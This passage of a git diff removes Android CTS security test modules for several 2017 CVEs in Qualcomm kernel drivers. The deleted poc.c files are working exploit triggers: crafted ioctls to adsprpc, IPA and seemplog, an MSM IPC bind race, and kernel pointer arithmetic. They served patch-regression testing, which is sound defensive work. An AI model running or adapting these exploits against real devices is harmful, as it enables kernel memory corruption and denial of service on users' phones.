-  *(uint32_t *)0x20002efc = (uint32_t)0x9;
-  *(uint32_t *)0x20002f00 = (uint32_t)0xfffffffffffffab9;
-  *(uint32_t *)0x20002f04 = (uint32_t)0x9;
-  *(uint32_t *)0x20002f08 = (uint32_t)0x1;
-  *(uint32_t *)0x20002f0c = (uint32_t)0xe4d1;
-  *(uint32_t *)0x20002f10 = (uint32_t)0x4;
-  *(uint32_t *)0x20002f14 = (uint32_t)0x3;
-  *(uint32_t *)0x20002f18 = (uint32_t)0x87;
-  *(uint32_t *)0x20002f1c = (uint32_t)0x8000;
-  *(uint32_t *)0x20002f20 = (uint32_t)0x7;
-  *(uint32_t *)0x20002f24 = (uint32_t)0x10001;
-  *(uint32_t *)0x20002f28 = (uint32_t)0x932d;
-  *(uint32_t *)0x20002f2c = (uint32_t)0x3;
-  *(uint32_t *)0x20002f30 = (uint32_t)0xffff;
-  *(uint16_t *)0x20002f34 = (uint16_t)0x3ff;
-  *(uint8_t *)0x20002f36 = (uint8_t)0x400;
-  *(uint8_t *)0x20002f37 = (uint8_t)0x6;
-  *(uint8_t *)0x20002f38 = (uint8_t)0x2;
-  *(uint8_t *)0x20002f39 = (uint8_t)0x1;
-  *(uint8_t *)0x20002f3a = (uint8_t)0x3;
-  *(uint8_t *)0x20002f3c = (uint8_t)0xffffffffffffff75;
-  *(uint16_t *)0x20002f3e = (uint16_t)0x20;
-  *(uint16_t *)0x20002f40 = (uint16_t)0x4;
-  *(uint8_t *)0x20002f42 = (uint8_t)0x2;
-  *(uint16_t *)0x20002f44 = (uint16_t)0x10001;
-  *(uint16_t *)0x20002f46 = (uint16_t)0x3;
-  *(uint8_t *)0x20002f48 = (uint8_t)0xb004;
-  *(uint8_t *)0x20002f4c = (uint8_t)0x5;
-  *(uint32_t *)0x20002f50 = (uint32_t)0x3f;
-  *(uint32_t *)0x20002f54 = (uint32_t)0x6;
-  *(uint8_t *)0x20002f58 = (uint8_t)0x7f;
-  *(uint32_t *)0x20002f5c = (uint32_t)0x5;
-  *(uint32_t *)0x20002f60 = (uint32_t)0x4;
-  *(uint8_t *)0x20002f64 = (uint8_t)0x5;
-  *(uint8_t *)0x20002f65 = (uint8_t)0x0;
-  *(uint8_t *)0x20002f66 = (uint8_t)0x2;
-  *(uint32_t *)0x20002f68 = (uint32_t)0x7;
-  *(uint8_t *)0x20002f6c = (uint8_t)0x80;
-  *(uint8_t *)0x20002f6e = (uint8_t)0x80;
-  *(uint16_t *)0x20002f70 = (uint16_t)0x1;
-  *(uint8_t *)0x20002f72 = (uint8_t)0xffffffff;
-  *(uint8_t *)0x20002f74 = (uint8_t)0x3259;
-  *(uint32_t *)0x20002f78 = (uint32_t)0x0;
-  *(uint8_t *)0x20002f7c = (uint8_t)0x5;
-  *(uint8_t *)0x20002f80 = (uint8_t)0x10001;
-  *(uint32_t *)0x20002f84 = (uint32_t)0x0;
-  *(uint32_t *)0x20002f88 = (uint32_t)0x10000;
-  *(uint8_t *)0x20002f8c = (uint8_t)0xffff;
-  *(uint32_t *)0x20002f90 = (uint32_t)0xffff;
-  *(uint32_t *)0x20002f94 = (uint32_t)0x7;
-  *(uint8_t *)0x20002f98 = (uint8_t)0x3;
-  *(uint8_t *)0x20002f99 = (uint8_t)0x7ff;
-  memcpy((void *)0x20002f9a,
-         "\x28\x3b\x48\x4b\x92\xd4\xf6\xbf\x35\x1b\x31\x99\x3a\xa1\x6c\xa2",
-         16);
-  memcpy((void *)0x20002faa,
-         "\x7e\xeb\x6e\x3e\x8f\x30\x07\x0b\xe9\xfc\x36\xe6\x56\x8f\xd7\x0f",
-         16);
-  *(uint8_t *)0x20002fba = (uint8_t)0xfffffffffffffbff;
-  memcpy((void *)0x20002fbb,
-         "\x30\x75\xd6\x40\x91\xbf\xe5\xe5\x8c\xd1\x46\x0e\x9d\x44\xc2\xa1",
-         16);
-  memcpy((void *)0x20002fcb,
-         "\x78\xf4\x00\xa7\xbe\x73\xdf\x2e\xb7\x4d\x97\x77\x77\xdd\xb4\x2e",
-         16);
-  *(uint8_t *)0x20002fdb = (uint8_t)0x6;
-  *(uint8_t *)0x20002fdc = (uint8_t)0x101;
-  *(uint32_t *)0x20002fe0 = (uint32_t)0xffff;
-  *(uint32_t *)0x20002fe4 = (uint32_t)0xfffffffffffffffe;
-  *(uint8_t *)0x20002fe8 = (uint8_t)0x9;
-  *(uint32_t *)0x20002fec = (uint32_t)0x3;
-  *(uint8_t *)0x20002ff0 = (uint8_t)0x7f;
-  *(uint8_t *)0x20002ff4 = (uint8_t)0x4;
-  *(uint32_t *)0x20002ff8 = (uint32_t)0x0;
-  *(uint32_t *)0x20002ffc = (uint32_t)0x0;
-
-  ioctl(fd, IPA_IOC_ADD_FLT_RULE, 0x20002924ul);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0457/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0457/Android.mk
deleted file mode 100644
index 37b625f..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0457/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0457/poc.c
deleted file mode 100644
index 4fbacca..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0457/poc.c
+++ /dev/null
@@ -1,94 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-struct remote_buf {
-  void *pv;    /* buffer pointer */
-  ssize_t len; /* length of buffer */
-};
-
-struct fastrpc_ioctl_invoke {
-  uint32_t handle;        /* remote handle */
-  uint32_t sc;            /* scalars describing the data */
-  struct remote_buf *pra; /* remote arguments list */
-};
-
-struct fastrpc_ioctl_invoke_fd {
-  struct fastrpc_ioctl_invoke inv;
-  int *fds; /* fd list */
-};
-
-/* Retrives number of input buffers from the scalars parameter */
-#define REMOTE_SCALARS_INBUFS(sc) (((sc) >> 16) & 0x0ff)
-
-/* Retrives number of output buffers from the scalars parameter */
-#define REMOTE_SCALARS_OUTBUFS(sc) (((sc) >> 8) & 0x0ff)
-
-int main() {
-  int numbuf, fd;
-
-  mmap((void *)0x20000000ul, 0x705000ul, 0x3ul, 0x32ul,
-       (int)0xffffffffffffffffl, 0x0ul);
-  fd = open("/dev/adsprpc-smd", 0x0ul, 0);
-
-  mmap((void *)0x20705000ul, 0x1000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
-       0x0ul);
-  mmap((void *)0x20706000ul, 0x1000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
-       0x0ul);
-  mmap((void *)0x20707000ul, 0x1000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
-       0x0ul);
-  mmap((void *)0x10000, 0x100000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
-       0x0ul);
-
-  struct fastrpc_ioctl_invoke invoke_param;
-  struct remote_buf *buf;
-
-  buf = (struct remote_buf *)0x20705000;
-
-  invoke_param.handle = 5;
-  invoke_param.sc = (uint32_t)0xffffff7f;
-  invoke_param.pra = buf;
-
-  numbuf = REMOTE_SCALARS_INBUFS(invoke_param.sc) +
-           REMOTE_SCALARS_OUTBUFS(invoke_param.sc);
-
-  size_t ptr = (size_t)(0xffffff800bde0160 + 0x10000 - 0xffffffc000000000);
-
-  buf[0].pv = (void *)0x10000;
-  buf[0].len = 0x1;
-
-  ptr = ptr & 0xffffffff000fffff;
-
-  buf[508].pv = 0;
-  buf[508].len = ptr;
-  buf[509].pv = (void *)0x1ffff;
-  buf[509].len = 0;
-
-  syscall(__NR_ioctl, fd, 0xc0105201ul, &invoke_param, 0, 0, 0);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0460/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0460/Android.mk
deleted file mode 100644
index 5ddb578..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0460/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0460
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0460/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0460/poc.c
deleted file mode 100644
index 4ca0930..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0460/poc.c
+++ /dev/null
@@ -1,68 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <pthread.h>
-#include <setjmp.h>
-#include <signal.h>
-#include <stdint.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <syscall.h>
-#include <unistd.h>
-
-__thread int skip_segv;
-__thread jmp_buf segv_env;
-
-#define NONFAILING(...)                                  \
-  {                                                      \
-    __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
-    if (_setjmp(segv_env) == 0) {                        \
-      __VA_ARGS__;                                       \
-    }                                                    \
-    __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
-  }
-
-#ifndef SYS_socket
-#define SYS_socket 41
-#endif
-#ifndef SYS_mmap
-#define SYS_mmap __NR_mmap
-#endif
-#ifndef __NR_mmap
-#define __NR_mmap 222
-#endif
-#ifndef SYS_syz_open_dev
-#define SYS_syz_open_dev 1000001
-#endif
-#ifndef SYS_write
-#define SYS_write 1
-#endif
-
-long r;
-
-int main() {
-  r = syscall(SYS_socket, 0x10ul, 0x3ul, 0x1ful, 0, 0, 0);
-  syscall(SYS_mmap, 0x20005000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful,
-          0x0ul);
-  NONFAILING(*(uint32_t*)0x20005ff0 = (uint32_t)0x10);
-  NONFAILING(*(uint32_t*)0x20005ff4 = (uint32_t)0x31);
-  NONFAILING(*(uint64_t*)0x20005ff8 = (uint64_t)0xb4);
-  syscall(SYS_write, r, 0x20005ff0ul, 0x10ul, 0, 0, 0);
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
deleted file mode 100644
index 35531b4..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0462
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
deleted file mode 100644
index 5cf6a49..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0462/poc.c
+++ /dev/null
@@ -1,214 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdint.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#define DEVICE "/dev/seemplog"
-#define SZ_1M   0x100000
-#define FOUR_MB (4 * SZ_1M)
-
-#define BLK_SIZE       256
-#define BLK_HDR_SIZE   64
-#define TS_SIZE        20
-#define BLK_MAX_MSG_SZ (BLK_SIZE - BLK_HDR_SIZE)
-
-#define TASK_COMM_LEN 16
-
-#define MAGIC 'z'
-
-#define SEEMP_CMD_RESERVE_RDBLKS     _IOR(MAGIC, 1, int)
-#define SEEMP_CMD_RELEASE_RDBLKS     _IO(MAGIC, 2)
-#define SEEMP_CMD_GET_RINGSZ     _IOR(MAGIC, 3, int)
-#define SEEMP_CMD_GET_BLKSZ     _IOR(MAGIC, 4, int)
-#define SEEMP_CMD_SET_MASK          _IO(MAGIC, 5)
-#define SEEMP_CMD_SET_MAPPING       _IO(MAGIC, 6)
-#define SEEMP_CMD_CHECK_FILTER      _IOR(MAGIC, 7, int)
-#define SEEMP_CMD_DEBUG_START           _IOR(MAGIC, 8, int)
-#define SEEMP_CMD_DEBUG_STOP           _IOR(MAGIC, 9, int)
-
-struct read_range {
-    int start_idx;
-    int num;
-};
-
-struct blk_payload {
-    uint32_t api_id;
-    char  msg[BLK_MAX_MSG_SZ];
-} __attribute__((packed));
-
-struct seemp_logk_blk {
-    uint8_t  status;
-    uint16_t len;
-    uint8_t  version;
-    int32_t pid;
-    int32_t uid;
-    int32_t tid;
-    int32_t sec;
-    int32_t nsec;
-    char ts[TS_SIZE];
-    char appname[TASK_COMM_LEN];
-    struct blk_payload payload;
-} __attribute__((packed));
-
-void dump_blk_headers(char *ptr) {
-    int i;
-    struct seemp_logk_blk *temp;
-
-    for (i = 0; i < (FOUR_MB / 256); i++) {
-	temp = (struct seemp_logk_blk *)ptr;
-
-	ptr += 256;
-    }
-}
-
-void print_maps(int time) {
-    char cmd[] = "/proc/%d/maps";
-    char cmd2[sizeof("/proc/-2147483648/maps")];
-    FILE *fp;
-    size_t nread;
-    char buf[1024];
-
-    snprintf(cmd2, sizeof(cmd2)-1, cmd, getpid());
-
-    fp = fopen(cmd2, "r");
-    if (fp == NULL) {
-	exit(-1);
-    }
-
-    while ((nread = fread(buf, 1, sizeof(buf), fp)) > 0)
-	fwrite(buf, 1, nread, stdout);
-
-    fclose(fp);
-    sleep(time);
-}
-
-void reserve_rdblks(int fd) {
-    struct read_range rrange;
-    ioctl(fd, SEEMP_CMD_RESERVE_RDBLKS, &rrange);
-}
-
-unsigned int get_ringsz(int fd) {
-    unsigned int ringsz;
-    ioctl(fd, SEEMP_CMD_GET_RINGSZ, &ringsz);
-    return ringsz;
-}
-
-unsigned int get_blksz(int fd) {
-    unsigned int blksz;
-    ioctl(fd, SEEMP_CMD_GET_BLKSZ, &blksz);
-    return blksz;
-}
-
-void write_to_file(char *ptr) {
-    FILE *dumpfp = fopen("/data/local/tmp/dump", "wb");
-    int i;
-
-    if (dumpfp == NULL) {
-	exit(-1);
-    }
-
-    fwrite(ptr, 1, FOUR_MB, dumpfp);
-    fclose(dumpfp);
-}
-
-void write_to_dev(int fd) {
-    char ts[] = "IIIIIIIIIIIIIIIIIIII";
-    char appname[] = "JJJJJJJJJJJJJJJJ";
-    char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
-
-    struct seemp_logk_blk block;
-
-    block.status = 0xff;
-    block.len = 0x4242;
-    block.version = 'C';
-    block.pid = 0x44444444;
-    block.uid = 0x45454545;
-    block.tid = 0x46464646;
-    block.sec = 0x47474747;
-    block.nsec = 0x48484848;
-    strcpy(block.ts, ts);
-    strcpy(block.appname, appname);
-    block.payload.api_id = 0x51515151;
-    strcpy(block.payload.msg, msg);
-}
-
-void do_mapping(void **ptr, int fd) {
-    *ptr = mmap(NULL,
-		FOUR_MB,
-		0x7,
-		MAP_SHARED,
-		fd,
-		0);
-    if (*ptr == MAP_FAILED) {
-	close(fd);
-	exit(-1);
-    }
-}
-
-void spam_mapped_region(char *ptr, int offset, int size) {
-    int i;
-    for (i = offset; i < size; i++)
-	*(ptr + i) = 'A';
-}
-
-void start_printk(int fd) {
-    ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
-}
-
-void stop_printk(int fd) {
-    ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
-}
-
-int main() {
-    int fd;
-    void *ptr;
-    int i;
-
-    fd = open(DEVICE, O_RDWR);
-    if (fd == -1) {
-	exit(-1);
-    }
-
-    start_printk(fd);
-
-    do_mapping(&ptr, fd);
-
-    for (i = 0; i < (FOUR_MB / 256); i++)
-	write_to_dev(fd);
-
-    dump_blk_headers(ptr);
-    print_maps(5);
-
-    write_to_file(ptr);
-
-    stop_printk(fd);
-
-    close(fd);
-    munmap(ptr, FOUR_MB);
-
-    return 0;
-}
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0463/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0463/Android.mk
deleted file mode 100644
index d5422dc..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0463/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0463
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0463/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0463/poc.c
deleted file mode 100644
index 5758130..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0463/poc.c
+++ /dev/null
@@ -1,85 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/syscall.h>
-#include <unistd.h>
-#include <errno.h>
-#include <sys/socket.h>
-#include <sys/un.h>
-#include <netinet/ip.h>
-
-#define AF_MSM_IPC 27
-#define MSM_IPC_ADDR_NAME        1
-#define IPC_ROUTER_IOCTL_BIND_CONTROL_PORT _IOR(0xC3, 4, unsigned int)
-#define M 300
-
-void *trigger(void *p);
-
-struct msm_ipc_port_addr {
-    uint32_t node_id;
-    uint32_t port_id;
-};
-
-struct msm_ipc_port_name {
-    uint32_t service;
-    uint32_t instance;
-};
-
-struct msm_ipc_addr {
-    unsigned char  addrtype;
-    union {
-        struct msm_ipc_port_addr port_addr;
-        struct msm_ipc_port_name port_name;
-    } addr;
-};
-
-struct sockaddr_msm_ipc {
-    unsigned short family;
-    struct msm_ipc_addr address;
-    unsigned char reserved;
-};
-
-struct sockaddr_msm_ipc addr;
-
-void *trigger(void *p) {
-    int f = socket(AF_MSM_IPC, 2, 0);
-    ioctl(f, IPC_ROUTER_IOCTL_BIND_CONTROL_PORT, 0);
-
-    addr.family = AF_MSM_IPC;
-    addr.address.addrtype = MSM_IPC_ADDR_NAME;
-    bind(f, (struct sockaddr *)&addr, sizeof(addr));
-
-    close(f);
-    return NULL;
-}
-
-int main()
-{
-    int i;
-    pthread_t th0[M];
-
-    for (i = 0; i < M; i++) {
-        pthread_create(&th0[i], NULL, trigger, NULL);
-    }
-
-    usleep(100000);
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0465/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0465/Android.mk
deleted file mode 100644
index 1107a59..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0465/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2017-0465

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

-LOCAL_CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LOCAL_LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0465/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0465/local_poc.h
deleted file mode 100644
index 7c356b9..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0465/local_poc.h
+++ /dev/null
@@ -1,75 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS     8
-#define _IOC_TYPEBITS   8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS  14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS   2
-#endif
-
-#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
